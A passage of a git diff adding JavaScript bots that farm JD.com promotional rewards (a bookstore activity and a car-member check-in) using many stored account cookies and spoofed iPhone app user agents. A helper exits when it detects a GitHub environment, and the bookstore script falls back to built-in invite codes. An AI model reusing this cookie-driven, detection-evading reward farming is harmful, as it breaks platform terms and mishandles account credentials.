true + console.log(`京东账号${$.index}尚未开启口袋书店,请手动开启`) + console.log('\n提示:从五月份开始,需要手动进入一下活动页面。不然即使是开启了这个活动。跑脚本也提示未开启活动\n') + return + } + $.actorUuid = $.userInfo.actorUuid + // if(!info) console.log(`您的好友助力码为${$.actorUuid}`) + if(!info) console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${$.actorUuid}\n`); + $.gold = $.userInfo.bookStore.hasStoreGold + if (!info) { + const tasks = data.data.settingVo + for (let task of tasks) { + if (['关注店铺'].includes(task.title)) { + if (task.okNum < task.dayMaxNum) { + console.log(`去做${task.title}任务`) + await doTask(task.settings[0].type, task.settings[0].value) + } + } else if (['逛会场', '浏览店铺', '浏览商品'].includes(task.title)) { + if (task.okNum < task.dayMaxNum) { + console.log(`去做${task.title}任务`) + for (let set of task.settings.filter(vo => vo.status === 0)) { + await doTask(set.type, set.value) + await $.wait(500) + } + } + } else if(task.title === '每日签到'){ + const hour = new Date().getUTCHours() + 8 + if (8 <= hour && hour < 10 || 12 <= hour && hour < 14 || 18 <= hour && hour < 20) { + console.log(`去做${task.title}任务`) + for (let set of task.settings.filter(vo => vo.status === 0)) { + let res = await doTask(set.type, set.value) + if (res.result) break + await $.wait(500) + } + } + } else if (ADD_CART && ['加购商品'].includes(task.title)) { + if (task.okNum < task.dayMaxNum) { + console.log(`去做${task.title}任务`) + await doTask(task.settings[0].type, task.settings[0].value) + } + } + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function doHelpList(taskType, value) { + let body = `activityId=${ACT_ID}&actorUuid=${$.actorUuid}&num=0&sortStatus=1` + return new Promise(resolve => { + $.post(taskPostUrl('dingzhi/taskact/common/getDayShareRecord', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + console.log(`今日助力情况${data.data.length}/10`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) + +} +// 做任务 +function doTask(taskType, value) { + let body = `activityId=${ACT_ID}&pin=${encodeURIComponent($.token)}&actorUuid=${$.actorUuid}&taskType=${taskType}&taskValue=${value}` + return new Promise(resolve => { + $.post(taskPostUrl('dingzhi/book/develop/saveTask', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.result && data.data) { + console.log(`任务完成成功,获得${data.data.addScore}积分`) + $.score += data.data.addScore + } else { + console.log(`任务完成失败,错误信息:${data.errorMessage}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) + +} + +// 抽奖 +function draw() { + let body = `activityId=${ACT_ID}&pin=${encodeURIComponent($.token)}&actorUuid=${$.actorUuid}` + return new Promise(resolve => { + $.post(taskPostUrl('dingzhi/book/develop/startDraw', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data && safeGet(data)) { + data = JSON.parse(data); + if (data.result && data.data) { + if (data.data.name) { + console.log(`抽奖成功,获得奖品:${data.data.name}`) + message += `抽奖成功,获得奖品:${data.data.name}\n` + } else { + console.log(`抽奖成功,获得空气`) + message += `抽奖成功,获得空气` + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 获得图书 +function getAllBook() { + let body = `activityId=${ACT_ID}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.token)}` + return new Promise(resolve => { + $.post(taskPostUrl('dingzhi/book/develop/getAllBook', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.result && data.data) { + + const book = data.data.bookConfigList[0] + let num = Math.trunc(data.data.haveScore / book.buyBookScore) + console.log(`拥有${data.data.haveScore}积分,可购买${num}本`) + if (num > 0) { + await buyBook(book.uuid, num) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 购买图书 +function buyBook(bookUuid, num) { + let body = `activityId=${ACT_ID}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.token)}&bookUuid=${bookUuid}&buyNum=${num}` + return new Promise(resolve => { + $.post(taskPostUrl('dingzhi/book/develop/buyBook', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.result && data.data) { + console.log(`购买【${data.data.BookIncome.bookName}】成功`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getMyBook() { + let body = `activityId=${ACT_ID}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.token)}&type1=1&type2=1&type3=1&type=1` + return new Promise(resolve => { + $.post(taskPostUrl('dingzhi/book/develop/getMyBook', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.result && data.data) { + for (let book of data.data.myBookList) { + if (book.isPutOn !== 1 && book.inventory > 0) { + console.log(`去上架【${book.bookName}】`) + await upBook(book.bookUuid) + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function upBook(bookUuid) { + let body = `activityId=${ACT_ID}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.token)}&bookUuid=${bookUuid}&isPutOn=1&position=1` + return new Promise(resolve => { + $.post(taskPostUrl('dingzhi/book/develop/upBook', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.result && data.data) { + console.log(`上架成功`) + } else { + console.log(data) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function chargeGold() { + let body = `activityId=${ACT_ID}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.token)}` + return new Promise(resolve => { + $.post(taskPostUrl('dingzhi/book/develop/chargeGold', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.result && data.data) { + console.log(`金币收获成功,获得${data.data.chargeGold}`) + } else { + console.log(data.errorMessage) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function showMsg() { + return new Promise(resolve => { + if ($.score) { + message += `本次运行获得积分${$.score}`; + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} + +function jdUrl(functionId, body) { + return { + url: `https://api.m.jd.com/client.action?functionId=${functionId}`, + body: body, + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + } + } +} + +function taskUrl(function_id, body) { + return { + url: `https://lzdz-isv.isvjcloud.com/${function_id}?${body}`, + headers: { + 'Host': 'lzdz-isv.isvjcloud.com', + 'Accept': 'application/x.jd-school-island.v1+json', + 'Source': '02', + 'Accept-Language': 'zh-cn', + 'Content-Type': 'application/json;charset=utf-8', + 'Origin': 'https://lzdz-isv.isvjcloud.com', + 'User-Agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'Referer': `https://lzdz-isv.isvjcloud.com/dingzhi/book/develop/activity?activityId=${ACT_ID}`, + 'Cookie': `${cookie} IsvToken=${$.isvToken};` + } + } +} + +function taskPostUrl(function_id, body) { + return { + url: `https://lzdz-isv.isvjcloud.com/${function_id}`, + body: body, + headers: { + 'Host': 'lzdz-isv.isvjcloud.com', + 'Accept': 'application/json', + 'Accept-Language': 'zh-cn', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Origin': 'https://lzdz-isv.isvjcloud.com', + 'User-Agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'Referer': `https://lzdz-isv.isvjcloud.com/dingzhi/book/develop/activity?activityId=${ACT_ID}`, + 'Cookie': `${cookie} isvToken=${$.isvToken};` + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = null //await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + let shareCodes = [] + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + //自定义助力码 + if (process.env.BOOKSHOP_SHARECODES) { + if (process.env.BOOKSHOP_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.BOOKSHOP_SHARECODES.split('\n'); + } else { + shareCodes = process.env.BOOKSHOP_SHARECODES.split('&'); + } + } + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_car.js b/jd_car.js new file mode 100644 index 0000000..3efa88d --- /dev/null +++ b/jd_car.js @@ -0,0 +1,357 @@ +/* +京东汽车,签到满500赛点可兑换500京豆,一天运行一次即可 +长期活动 +活动入口:京东APP首页-京东汽车-屏幕右中部,车主福利 +更新地址:jd_car.js +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东汽车 +10 7 * * * jd_car.js, tag=京东汽车, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_redPacket.png, enabled=true + +================Loon============== +[Script] +cron "10 7 * * *" script-path=jd_car.js, tag=京东汽车 + +===============Surge================= +京东汽车 = type=cron,cronexp="10 7 * * *",wake-system=1,timeout=3600,script-path=jd_car.js + +============小火箭========= +京东汽车 = type=cron,script-path=jd_car.js, cronexpr="10 7 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东汽车'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://car-member.jd.com/api/'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdCar(); + await showMsg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdCar() { + await check() + await sign() + await $.wait(1000) + await mission() + await $.wait(1000) + await getPoint() +} + +function showMsg() { + return new Promise(resolve => { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + +function check() { + return new Promise(resolve => { + $.get(taskUrl('v1/user/exchange/bean/check'), (err, resp, data) => { + try { + if (err) { + data = JSON.parse(resp.body) + console.log(`${data.error.msg}`) + message += `签到失败,${data.error.msg}\n` + } else { + if (safeGet(data)) { + data = JSON.parse(data); + console.log(`兑换结果:${JSON.stringify(data)}`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function sign() { + return new Promise(resolve => { + $.post(taskUrl('v1/user/sign'), (err, resp, data) => { + try { + if (err) { + data = JSON.parse(resp.body) + console.log(`${data.error.msg}`) + message += `签到失败,${data.error.msg}\n` + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.status) { + console.log(`签到成功,获得${data.data.point},已签到${data.data.signDays}天`) + message += `签到成功,获得${data.data.point},已签到${data.data.signDays}天\n` + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function mission() { + return new Promise(resolve => { + $.get(taskUrl('v1/user/mission'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.status) { + let missions = data.data.missionList + for (let i = 0; i < missions.length; ++i) { + const mission = missions[i] + if (mission['missionStatus'] === 0 && (mission['missionType'] === 1 || mission['missionType'] === 5)) { + console.log(`去做任务:${mission['missionName']}`) + await doMission(mission['missionId']) + await $.wait(1000) // 等待防黑 + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function doMission(missionId) { + return new Promise(resolve => { + $.post(taskPostUrl('v1/game/mission', {"missionId": missionId}), async (err, resp, data) => { + try { + if (err) { + data = JSON.parse(resp.body) + console.log(`${data.error.msg}`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.status) { + console.log("任务领取成功") + await receiveMission(missionId) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function receiveMission(missionId) { + return new Promise(resolve => { + $.post(taskPostUrl('v1/user/mission/receive', {"missionId": missionId}), async (err, resp, data) => { + try { + if (err) { + data = JSON.parse(resp.body) + console.log(`${data.error.msg}`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.status) { + console.log("任务完成成功") + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getPoint() { + return new Promise(resolve => { + $.get(taskUrl('v1/user/point'), async (err, resp, data) => { + try { + if (err) { + data = JSON.parse(resp.body) + console.log(`${data.error.msg}`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.status) { + if (data.data.remainPoint >= data.data.oncePoint) { + console.log(`当前赛点:${data.data.remainPoint}/${data.data.oncePoint},可以兑换京豆,请打开APP兑换`) + message += `当前赛点:${data.data.remainPoint}/${data.data.oncePoint},可以兑换京豆,请打开APP兑换\n` + }else{ + console.log(`当前赛点:${data.data.remainPoint}/${data.data.oncePoint}无法兑换京豆`) + message += `当前赛点:${data.data.remainPoint}/${data.data.oncePoint},无法兑换京豆\n` + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}${function_id}?timestamp=${new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "car-member.jd.com", + "Referer": "https://h5.m.jd.com/babelDiy/Zeus/44bjzCpzH9GpspWeBzYSqBA7jEtP/index.html", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +function taskPostUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}${function_id}?timestamp=${new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000}`, + body: JSON.stringify(body), + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/json;charset=UTF-8", + "Host": "car-member.jd.com", + "activityid": "39443aee3ff74fcb806a6f755240d127", + "Referer": "https://h5.m.jd.com/babelDiy/Zeus/44bjzCpzH9GpspWeBzYSqBA7jEtP/index.html", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if 